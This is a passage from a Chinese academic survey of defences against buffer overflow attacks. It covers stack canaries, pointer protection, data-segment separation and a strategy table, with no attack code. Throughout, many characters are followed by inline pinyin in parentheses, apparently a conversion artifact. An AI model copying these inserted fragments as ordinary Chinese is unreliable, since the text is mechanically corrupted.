在程序指針被引用之前先檢測該指針是否已被惡意改動(dòng)過,如果發(fā)現(xiàn)被改動(dòng),程序就拒絕執(zhí)行。
因此,即使一個(gè)攻擊者成功地改變程序的指針,由于系統(tǒng)事先檢測到了指針的改變,因此這個(gè)指針不會(huì)被使用。與數(shù)組邊界檢查相比,這種方法不能解決所有的緩沖區(qū)溢出問題。但這種方法在性能上有很大的優(yōu)勢,而且兼容性也很好。
程序指針完整性檢查大體上有三個(gè)研究方向:第一,手寫的堆棧檢測;第二,堆棧保護(hù);第三,保護(hù)指針。在手寫的堆棧檢測中會(huì)介紹Snarskii為FreeBSD開發(fā)了一套定制的能通過監(jiān)測cpu堆棧來確定緩沖區(qū)溢出的libc。在堆棧保護(hù)中會(huì)介紹我們自己的堆棧保護(hù)方法所開發(fā)的一個(gè)編譯器,它能夠在函數(shù)調(diào)用的時(shí)候自動(dòng)生成完整性檢測代碼。最后在保護(hù)指針中介紹正在開發(fā)中的指針保護(hù)方法,這種方法類似于堆棧保護(hù),它提供對(duì)所有程序指針的完整性的保護(hù)。
1)手寫的堆棧監(jiān)測
Snarskii為FreeBSD開發(fā)了一套定制的能通過監(jiān)測cpu堆棧來確定緩沖區(qū)溢出的libc。這個(gè)應(yīng)用完全用手工匯編寫的,而且只保護(hù)libc中的當(dāng)前有效紀(jì)錄函數(shù)。這個(gè)應(yīng)用達(dá)到了設(shè)計(jì)要求,對(duì)于基于libc庫函數(shù)的攻擊具有很好的防衛(wèi),但是不能防衛(wèi)其它方式的攻擊。
2)堆棧保護(hù):編譯器生成的有效紀(jì)錄完整性檢測
堆棧保護(hù)是一種提供程序指針完整性檢查的編譯器技術(shù),通過檢查函數(shù)活動(dòng)紀(jì)錄中的返回地址來實(shí)現(xiàn)。堆棧保護(hù)作為gcc的一個(gè)小的補(bǔ)丁,在每個(gè)函數(shù)中,加入了函數(shù)建立和銷毀的代碼。加入的函數(shù)建立代碼實(shí)際上在堆棧中函數(shù)返回地址后面加了一些附加的字節(jié),如圖2示。而在函數(shù)返回時(shí),首先檢查這個(gè)附加的字節(jié)是否被改動(dòng)過。如果發(fā)生過緩沖區(qū)溢出的攻擊,那么這種攻擊很容易在函數(shù)返回前被檢測到。
但是,如果攻擊者預(yù)見到這些附加字節(jié)的存在,并且能在溢出過程中同樣地制造他們,那么他就能成功地跳過堆棧保護(hù)的檢測。通常,我們有如下的兩種方案對(duì)付這種欺騙:
a.終止符號(hào):
利用在C語言中的終止符號(hào)如0(null),CR,LF,-1(EOF)等不能在常用的字符串函數(shù)中使用,因?yàn)檫@些函數(shù)一旦遇到這些終止符號(hào),就結(jié)束函數(shù)過程了。
b.隨機(jī)符號(hào):
利用一個(gè)在函數(shù)調(diào)用時(shí)產(chǎn)生的一個(gè)32位的隨機(jī)數(shù)來實(shí)現(xiàn)保密,使得攻擊者不可能猜測到附加字節(jié)的內(nèi)容。而且,每次調(diào)用,附加字節(jié)的內(nèi)容都在改變,也無法預(yù)測。
通過檢查堆棧的完整性的堆棧保護(hù)法是從Synthetix方法演變來的。Synthetix方法通過使用準(zhǔn)不變量來確保特定變量的正確性。這些特定的變量的改變是程序?qū)崿F(xiàn)能預(yù)知的,而且只能在滿足一定的條件才能可以改變。這種變量我們稱為準(zhǔn)不變量。Synthetix開發(fā)了一些工具用來保護(hù)這些變量。攻擊者通過緩沖區(qū)溢出而產(chǎn)生的改變可以被系統(tǒng)當(dāng)做非法的動(dòng)作。在某些極端的情況下,這些準(zhǔn)不變量有可能被非法改變,這是就需要堆棧保護(hù)來提供更完善的保護(hù)了。
實(shí)驗(yàn)的數(shù)據(jù)表明,堆棧保護(hù)對(duì)于各種系統(tǒng)的緩沖區(qū)溢出攻擊都有很好的保護(hù)作用,并能保持較好的兼容性和系統(tǒng)性能。早先我們報(bào)告的堆棧保護(hù)所能抑制的漏洞都在表一中列出。隨后,我們用堆棧保護(hù)的方法重新構(gòu)造了一個(gè)完整的Linux系統(tǒng)(Red Hat5.1)。然后我們用XFree86-3.3.2-5和lsof的漏洞對(duì)此進(jìn)行了攻擊,結(jié)果表明,這個(gè)系統(tǒng)有效地抵御了這些攻擊。這些分析表明,堆棧保護(hù)能有效抵御現(xiàn)在的和將來的基于堆棧的攻擊。
堆棧保護(hù)版本的Red Hat Linux 5.1已經(jīng)在各種系統(tǒng)上運(yùn)行了多年,包括個(gè)人的筆記本電腦和工作組文件服務(wù)器。從我們的Web服務(wù)器上可以得到這個(gè)版本,而且在我們的郵件列表里已經(jīng)有了55個(gè)成員。出了僅有的一次例外,這個(gè)系統(tǒng)和本來的系統(tǒng)工作完全一樣,這表明堆棧保護(hù)并不對(duì)系統(tǒng)的兼容性構(gòu)成很大的影響。
我們已經(jīng)用各種性能測試來評(píng)測堆棧保護(hù)的性能。Mircobenchmarks的結(jié)果表明在函數(shù)的調(diào)用,堆棧保護(hù)中增加了系統(tǒng)的開銷。而在網(wǎng)絡(luò)的測試中(需要用到堆棧保護(hù)的地方),則表明這種開銷不是很大。
我們的第一個(gè)測試對(duì)象是SSH,它提供了極強(qiáng)的加密和認(rèn)證,用來替代Berkeley的r系列指令。SSH使用了軟件加密,因此系統(tǒng)的占用的帶寬不大,我們用網(wǎng)絡(luò)間復(fù)制一個(gè)大的文件來測試帶寬:
scp bigsource localhost:bigdest
測試結(jié)果表明:堆棧保護(hù)幾乎不影響SSH的網(wǎng)絡(luò)吞吐性能。
第二個(gè)測試使用了Apache Web服務(wù)器。如果這種服務(wù)器存在基于堆棧的攻擊,那么攻擊者就可以輕易地取得Web服務(wù)器的控制權(quán),允許攻擊者閱讀隱秘的內(nèi)容和肆意篡改主頁的內(nèi)容。同時(shí),Web服務(wù)器也是對(duì)性能和帶寬要求較高的一個(gè)服務(wù)器部件。
我們用WebStone對(duì)帶有和不帶堆棧保護(hù)的Apache Web服務(wù)器進(jìn)行了測試,測試的結(jié)果在表二中列出。
和SSH一樣,他們的性能幾乎沒有區(qū)別。在客戶數(shù)目較少的情況下,帶有保護(hù)的服務(wù)器性能比不帶保護(hù)的略微好些,在客戶端數(shù)目多的時(shí)候,不帶保護(hù)的性能好些。在最壞的情況下,帶保護(hù)的服務(wù)器比不帶保護(hù)的要差8%的連接性能,而在平均延時(shí)上保持優(yōu)勢。象以前一樣,我們把這些歸結(jié)為噪聲的影響。因此,我們的結(jié)論是:堆棧保護(hù)對(duì)Web服務(wù)器系統(tǒng)性能沒有重大的影響。
3)指針保護(hù):編譯器生成程序指針完整性檢查
在堆棧保護(hù)設(shè)計(jì)的時(shí)候,沖擊堆棧構(gòu)成了緩沖區(qū)溢出攻擊的常見的一種形式。有人推測存在一種模板來構(gòu)成這些攻擊(在1996年的時(shí)候)。從此,很多簡單的漏洞被發(fā)現(xiàn),實(shí)施和補(bǔ)丁了,很多攻擊者開始用在第二部分中描述的更一般的方法實(shí)施緩沖區(qū)溢出攻擊。
指針保護(hù)是堆棧保護(hù)針對(duì)這種情況的一個(gè)推廣。通過在所有的代碼指針之后放置附加字節(jié)來檢驗(yàn)指針在被調(diào)用之前的合法性。如果檢驗(yàn)失敗,會(huì)發(fā)出報(bào)警信號(hào)和退出程序的執(zhí)行,就如同在堆棧保護(hù)中的行為一樣。這種方案有三點(diǎn)需要注意:
a.附加字節(jié)的定位:
附加字節(jié)的空間是在被保護(hù)的變量被分配的時(shí)候分配的,同時(shí)在被保護(hù)字節(jié)初始化過程中被初始化。這樣就帶來了問題;為了保持兼容性,我們不想改變被保護(hù)變量的大小,因此不能簡單地在變量的結(jié)構(gòu)定義中加入附加字。還有,對(duì)各種類型也有不同附加字節(jié)數(shù)目。
b.檢查附加字節(jié):
每次程序指針被引用的時(shí)候都要檢查附加字節(jié)的完整性。這個(gè)也存在問題;因?yàn)椤皬拇嫒∑髯x”在編譯器中沒有語義;編譯器更關(guān)心指針的使用,而各種的優(yōu)化算法傾向于從存儲(chǔ)器中讀入變量。
c.還有隨著不同類型的變量,讀入的方法也各自不同。
已經(jīng)開發(fā)的指針保護(hù)的一個(gè)原型(還是基于gcc的),通過附加字節(jié)來保護(hù)靜態(tài)分配的函數(shù)指針,但不適用于結(jié)構(gòu)和數(shù)組類型。這個(gè)計(jì)劃還遠(yuǎn)沒有完成。一旦這個(gè)項(xiàng)目完成了,那么用它和堆棧保護(hù)構(gòu)成的可執(zhí)行代碼將不會(huì)受到緩沖區(qū)溢出的攻擊了。
目前為止,只有很少一部分使用非指針變量的攻擊能逃脫指針保護(hù)的檢測。但是,可以通過在編譯器上強(qiáng)制對(duì)某一變量加入附加字節(jié)來實(shí)現(xiàn)檢測,這時(shí)需要程序員自己手工加入相應(yīng)的保護(hù)了。
(7)利用編譯器將靜態(tài)數(shù)據(jù)段中的函數(shù)地址指針存放地址和其他數(shù)據(jù)的存放地址分離
我們知道緩沖區(qū)溢出的一個(gè)基本條件是在緩沖區(qū)的高地址附近存放著可供溢出覆蓋的函數(shù)地址指針,如果我們破壞了這一條件,就會(huì)使緩沖區(qū)溢出不能覆蓋函數(shù)地址指針。比如,我們可以假定編譯器在編譯程序時(shí)會(huì)將靜態(tài)數(shù)據(jù)段中的函數(shù)地址指針存放地址和其他數(shù)據(jù)的存放地址隔開相當(dāng)大的一段距離,例如數(shù)10M,數(shù)100M,這樣才會(huì)迫使攻擊者只有送入長的出乎想象數(shù)據(jù)才能抵達(dá)函數(shù)地址指針存放地址并覆蓋它,以這樣的不可操作性來制止攻擊者實(shí)現(xiàn)攻擊意圖。另外,我們還可以使這兩種數(shù)據(jù)段間的線形地址空間不分配物理地址并設(shè)置為不可讀寫,這些都可以通過硬件實(shí)現(xiàn),這樣每當(dāng)緩沖區(qū)溢出進(jìn)入這段區(qū)域,就會(huì)出現(xiàn)地址保護(hù)錯(cuò)誤,從而阻止了緩沖區(qū)溢出攻擊。
另外一種較為簡潔的方法是始終保持使靜態(tài)數(shù)據(jù)段中的函數(shù)地址指針存放地址低于其他數(shù)據(jù)的存放地址。但是這個(gè)方法僅僅是防止了靜態(tài)數(shù)據(jù)段中的緩沖區(qū)溢出攻擊,而不能避免堆的緩沖區(qū)溢出攻擊,因?yàn)榫幾g器和操作系統(tǒng)并不知道用戶申請(qǐng)的內(nèi)存是用來存放函數(shù)地址指針還是其他數(shù)據(jù),從而無法為其隔離分配內(nèi)存。表1是針對(duì)靜態(tài)數(shù)據(jù)段、堆棧和堆的緩沖區(qū)溢出的防范策略,其中沒有把邊界檢查包括在內(nèi),因?yàn)樗苡行У胤乐顾械木彌_區(qū)溢出,但其運(yùn)行開銷也是驚人的。表的最上面一行是攻擊代碼所植入的內(nèi)存空間,表的最左面一列是溢出方法,而中間單元就是相應(yīng)的防范策略。
表1 緩沖區(qū)溢出的防范策略
|
堆棧
(Stack Buffer)
|
堆
(Heap Buffer)
|
靜態(tài)數(shù)據(jù)段
(Static Buffer)
|
活動(dòng)記錄
|
堆棧保護(hù)
非執(zhí)行的緩沖區(qū)
|
堆棧保護(hù)
|
堆棧保護(hù)
|
函數(shù)指針
|
指針保護(hù)
非執(zhí)行的緩沖區(qū)
|
指針保護(hù)
|
指針保護(hù)
|
長跳轉(zhuǎn)緩沖區(qū)
|
指針保護(hù)
非執(zhí)行的緩沖區(qū)
|
指針保護(hù)
|
指針保護(hù)
|
其它變量
|
手工的指針保護(hù)
非執(zhí)行的緩沖區(qū)
|
手工的指針保護(hù)
|
手工的指針保護(hù)
|
為了防止靜態(tài)數(shù)據(jù)段、堆棧和堆這三種數(shù)據(jù)段中的一個(gè)緩沖區(qū)溢出覆蓋另一個(gè)段中的函數(shù)地址指針,我們應(yīng)該為這三種數(shù)據(jù)段隔離分配線形地址空間。
四 總結(jié)
緩沖區(qū)溢出是當(dāng)今很流行的一種網(wǎng)絡(luò)攻擊方法,它易于攻擊而且危害嚴(yán)重,給系統(tǒng)的安全帶來了極大的隱患。因此,如何及時(shí)有效地檢測出計(jì)算機(jī)網(wǎng)絡(luò)系統(tǒng)入侵行為,已越來越成為網(wǎng)絡(luò)安全管理的一項(xiàng)重要內(nèi)容。緩沖區(qū)溢出的漏洞一般有以下幾種情況:
(1) 系統(tǒng)漏洞
如操作系統(tǒng)、服務(wù)器程序、數(shù)據(jù)庫程序等,這種漏洞可以通過升級(jí)軟件、打安全“補(bǔ)丁”等方法來解決。
(2) 應(yīng)用軟件
在軟件開發(fā)過程中,如果程序員沒有很強(qiáng)的安全意識(shí)和良好的編程習(xí)慣,也會(huì)產(chǎn)生很多安全漏洞。
本文從上面的系統(tǒng)環(huán)境及程序設(shè)計(jì)語言角度,對(duì)目前主要的網(wǎng)絡(luò)攻擊方式:緩沖區(qū)溢出攻擊的出現(xiàn)和原理進(jìn)行了詳細(xì)的分析,并根據(jù)緩沖區(qū)溢出攻擊的類型提出了相應(yīng)的防范策略。
然而,飛速發(fā)展的網(wǎng)絡(luò)技術(shù)還需要我們繼續(xù)對(duì)各種黑客攻擊系統(tǒng)的方法做更多的關(guān)注和應(yīng)付措施的探索,為網(wǎng)絡(luò)安全做出更大的實(shí)踐意義的研究。
參考文獻(xiàn)
[1] 張小斌,嚴(yán)望佳,黑客分析與防范技術(shù)[M] 北京清華大學(xué)出版社,1999。
[2] 陳意云 編譯原理和技術(shù)[M],合肥,中國科技大學(xué)出版社,1997。
[3] 汪立東,方濱興,Unix緩沖區(qū)溢出攻擊:技術(shù)原理、防范與檢測,計(jì)算機(jī)工程與應(yīng)用,2000(2)。
[4]譚毓安,網(wǎng)絡(luò)攻擊防護(hù)編碼設(shè)計(jì),北京希望電子出版社,2002。
[5]www.nsfocus.com